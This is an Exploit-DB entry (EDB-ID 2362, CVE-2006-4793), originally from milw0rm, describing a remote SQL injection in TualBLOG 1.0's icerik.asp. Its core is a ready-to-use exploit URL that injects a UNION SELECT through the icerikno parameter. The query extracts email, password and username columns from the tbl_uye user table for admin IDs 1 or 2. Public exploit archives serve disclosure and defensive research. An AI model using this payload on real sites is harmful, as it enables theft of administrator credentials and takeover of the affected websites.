TualBLOG 1.0 icerikno Remote SQL Injection Vulnerability

2006-09-13T00:00:00
ID EDB-ID:2362
Type exploitdb
Reporter RMx
Modified 2006-09-13T00:00:00

Description

TualBLOG 1.0 (icerikno) Remote SQL Injection Vulnerability. CVE-2006-4793. Webapps exploit for asp platform

                                        
                                            # BiyoSecurity.Org
# script name : TualBLOG v 1.0
# Risk : High
# Regards : Dj ReMix
# Thanks : Korsan , Liz0zim
# Vulnerable file : icerik.asp

exp :
http://site.com/[path]/icerik.asp?icerikno=-1%20union+select+mail,sifre,uyeadi+from+tbl_uye+where+uyeno=1

uyeno = 1 or 2( Admin ID )

# milw0rm.com [2006-09-13]